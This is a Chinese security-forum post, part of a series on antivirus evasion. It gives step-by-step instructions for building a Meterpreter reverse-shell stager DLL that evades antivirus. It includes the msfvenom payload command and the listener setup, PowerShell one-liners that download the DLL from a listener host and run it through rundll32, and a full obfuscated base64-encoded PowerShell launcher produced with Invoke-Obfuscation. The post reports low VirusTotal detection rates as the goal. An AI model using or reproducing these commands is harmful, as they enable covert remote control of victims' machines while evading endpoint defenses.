安全矩阵

 找回密码
 立即注册
搜索
查看: 390|回复: 0

【免杀73】使用stager.dll的多种免杀方式

[复制链接]

114

主题

158

帖子

600

积分

高级会员

Rank: 4

积分
600
发表于 2021-12-29 13:20:40 | 显示全部楼层 |阅读模式
本帖最后由 Xor0ne 于 2021-12-29 13:23 编辑

​2020年初,从网上搜集了多种免杀工具和方式,汇总整理了远控免杀专题文章的工具篇、代码篇、白名单篇等,共70篇文章。现时隔一年,听到不少免杀爱好者的追更诉求,同时也看到了很多新的bypassAV的工具和技巧,于是想把这个系列继续补充一些,内容也都是来自互联网,汇总到一起只是方便大家查阅参考。
免杀专题已完成的文章及相关软件下载:https://github.com/TideSec/BypassAntiVirus
免杀专题在线文库:https://www.yuque.com/tidesec/bypassav

0x01 配置准备msf
使用msf生成shellcode
  1. msfvenom -p windows/meterpreter/reverse_tcp_rc4 EXIT_FUNC=PROCESS LHOST=10.211.55.2 LPORT=5555  RC4PASSWORD=tidesec --encrypt aes256 --encrypt-iv 6295259629525900 --encrypt-key 17178930171789301717893017178930 -f c -o meterpreter.c<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码

在msf上进行监听
  1. msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp_rc4
  2. msf5 exploit(multi/handler) > set lhost 10.211.55.2
  3. msf5 exploit(multi/handler) > set lport 5555
  4. msf5 exploit(multi/handler) > set RC4PASSWORD tidesec
复制代码




0x02 使用stager生成exe(VT查杀率7/72)


下载https://github.com/phackt/stager.dll

在vs中新建空项目,我这里是Project5
577CBCA6-B8CF-4748-936B-7528A85FF63A.png)
新建源文件stager.cpp和aes.cpp,新建头文件aes.h
然后将https://github.com/phackt/stager.dll中的相应文件内容复制到相应文件。

因为我msf生成的是x86,所以我是从stager_exe_32.cpp中复制内容到stager.cpp。
然后修改stager.cpp中的shellcode和密钥。

生成exe后,执行Project.exe。

msf中可上线

virustotal.com上查杀率为7/72

0x03 使用stager生成dll(VT查杀率0/71)
还是和上面一样,新建项目和三个文件,因为是生成dll文件,所以是从stager_dll_32.cpp中复制内容到stager.cpp,而不是上面的stager_exe_32.cpp。
然后修改shellcode和key值。

项目属性,修改为dll文件

生成dll文件,使用rundll32.exe Project5.dll,Exec可执行。此处也可以使用rundll32.exe Project5.dll,#1也可执行。

msf中可以正常上线

virustotal.com上查杀率为0/71

0x04 powershell免杀处理(VT查杀率5/59)
在powershell中执行
  1. $file = $env:temp+'\'+(Get-Random)+'.dll'; (New-Object System.Net.WebClient).DownloadFile('http://10.211.55.2/stager.dll',$file); $exec = New-Object -com shell.application;$exec.shellexecute('rundll32',$file+',Exec');<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码

或者直接powershell一句话执行
  1. powershell -c "$file = $env:temp+'\'+(Get-Random)+'.dll'; (New-Object System.Net.WebClient).DownloadFile('http://10.211.55.2/stager.dll',$file); $exec = New-Object -com shell.application;$exec.shellexecute('rundll32',$file+',Exec');"<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码


将上面内容保存为dropper.ps1,使用Invoke-Obfuscation对其进行混淆。
  1. <div>git clone <a href="https://github.com/danielbohannon/Invoke-Obfuscation.gitcd" target="_blank">https://github.com/danielbohannon/Invoke-Obfuscation.git</a></div><div><a href="https://github.com/danielbohannon/Invoke-Obfuscation.gitcd" target="_blank">cd</a> Invoke-Obfuscation && powershell -exec bypass -c "Import-Module ./Invoke-Obfuscation.psd1;Invoke-Obfuscation"<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt=""></div>
复制代码



然后
  1. SET SCRIPTPATH c:\test\dropper.ps1TOKEN\ALL\1,BACK,MEMBER\1,BACK,WHITESPACE\1,1,1,HOME,STRING\3,HOME,COMPRESS\1,Launcher\PS\234567\Copy<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码


  1. <blockquote>PoWeRsheLL  -NOlo  -wIn  1 -noNI  -NOpROfiL -EXecUT  bypASS -CO  "(NeW-ObJect Io.cOMpressiON.dEFLATESTreAm([sYSTEM.io.MEmORystREam] [CONVeRt]::frOmBaSe64string( 'XVRtT+JAEP4rE2JsG2ilheKh8cOFw8udHiVqOI3xA5RFampLoLxca//7zcxut6Kmu7Mddp55npnpvcjAbGzXjWZjPInThgV4BMswkij4bb/4XqvntbrP4XC8+RMMLiaJOAHT+bB6nZf19+XguWXMHoUhBtN4LO5s6FavrbbnSrPZ/qaMrjJM+vlKrEO7r6M8hbkBoB3g9SvPbh0eeaBXuSz/XEU+95XRP/8KYeHlSwAL/40mwuCShwLhWvgc8DRs0Xt8wnyBq30YP5RuUbYLco7xeQDUBOg2NAHKIRq3ES43/WBRIPsWagYygMcQOa4UvYN7HDMUeQl5nmzX+GJh44GAcPMKgkMDEccPDGOCKW6C3Shy8GSp2AcRx2IpbYpecdioPdsSLQKhEAsb6vjtouwQCjNCOibuThmKR6Qg0CYWQH8oFDAkEgpzChbJ/DnuajV1JEFJKI9j3MRyUyeVpFE2VWJyBmiWbYKgVDAJr6A3+Lif2L6nWFcFmtFlrSHBBrbcFehejGo8wn+badoLrl6HGXtFDQNcQgJjfqfKBL1fscFLORA3fbSCgyhmuLM0JAxOBftF/At1uyYiVfX5Jqaz1JmoZElo1/VUieK586TzXovXabY58xzfV3yktk7bRePs7GKVZbpj1Z1Y/kS3T7uWtexyH/kVX+xYbKIU3ZMR1dHh7FWeIo5UIlN8k1LYZJ/+UMXVqNdzPALryt0kW4kkVWMhO0nqYmkJZa7vVYMmgqYlHszE37pwToZl1Jwz7SDYSqTNv/t6mDJpgipx1VI+E8fEekXdZ27B+nCSuJjcWwoppIZ/q+PuZR74zAIaf5kJwfCwULcy7aO2lfo6un9Ub/F3huiToGpwcqo5sYIvX5dqELn/oCktC7SKUk+KlqA1vaPbR/1A3SF+KpT3tNZ2LqkeA7I2nULyke1DiZ/qITCl1QSdAsbYrdU4Anxy4BCsqMI4BkNS6GJCDSToM8LeK6iGqxzeRnKarvk7w/NkmCY0iOslnGzvVrvb4BlscB3HNtXZicXoNVuC9WK/pVFiGB8QDQ//AQ=='),[SysteM.iO.COMPResSiON.comPresSIonmodE]::DeCoMpREsS ) |FOreACH-OBJeCT{NeW-ObJect io.sTreAmrEadeR( $_ , [tEXt.ENcODiNG]::AsCiI ) } ).readTOeND() |.((VarIAble '*mdr*').NaME[3,11,2]-Join'')"
复制代码


可直接执行上面的代码,可回连。


将上面代码保存为stager.ps1,放在web目录下。可以使用下面的代码来下载stager.ps1并执行,不过我执行没能成功回连。本地执行stager.ps1也没能成功。

  1. powershell.exe -nop -w 1 $e=(New-Object System.Net.WebClient).DownloadString("http://10.211.55.2/stager.ps1"); IEX $e'!'A1'<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码

stager.ps1文件免杀情况

0x05 cl.exe编译问题https://github.com/phackt/stager.dll中给出的编译是使用cl.exe,但由于我本地是使用的非完整版vs2017,环境变量没有配置完善,所以导致在使用cl.exe编译时,依赖头文件和lib文件出现很多问题。
最后是设置lib变量:C:\Program Files (x86)\Windows Kits\10\Lib\10.0.14393.0\um\x86;C:\Users\xysoul\Desktop\Visual Studio 2017 Enterprise\VC\Tools\MSVC\14.10.25017\lib\x86;C:\Program Files (x86)\Windows Kits\10\Lib\10.0.14393.0\ucrt\x86;C:\Users\xysoul\Desktop\Visual Studio 2017 Enterprise\VC\Tools\MSVC\14.10.25017\lib\x86

设置include变量:C:\Users\xysoul\Desktop\Visual Studio 2017 Enterprise\VC\Tools\MSVC\14.10.25017\include;C:\Program Files (x86)\Windows Kits\10\Include\10.0.14393.0\winrt;C:\Program Files (x86)\Windows Kits\10\Include\10.0.14393.0\um;C:\Program Files (x86)\Windows Kits\10\Include\10.0.14393.0\ucrt;C:\Program Files (x86)\Windows Kits\10\Include\10.0.14393.0\shared

设置path:C:\Users\xysoul\Desktop\Visual Studio 2017 Enterprise\VC\Tools\MSVC\14.10.25017\bin\HostX86\x86

编译命令
  1. cl.exe /LD /MT /EHa stager.cpp aes.cpp /Fe:stager.dll
复制代码



cl编译问题参考:http://www.voidcn.com/article/p-vqunffcz-bkc.html

https://blog.csdn.net/zhouyang209117/article/details/17737413

0x06 参考资料
wh0ale后渗透详解:·http://github.wh0ale.xyz/2019/01/23/2019-1-23-%E5%90%8E%E6%B8%97%E9%80%8F%E8%AF%A6%E8%A7%A3/

stager.dll项目地址:https://github.com/phackt/stager.dll



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2022-5-26 12:43 , Processed in 0.015613 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表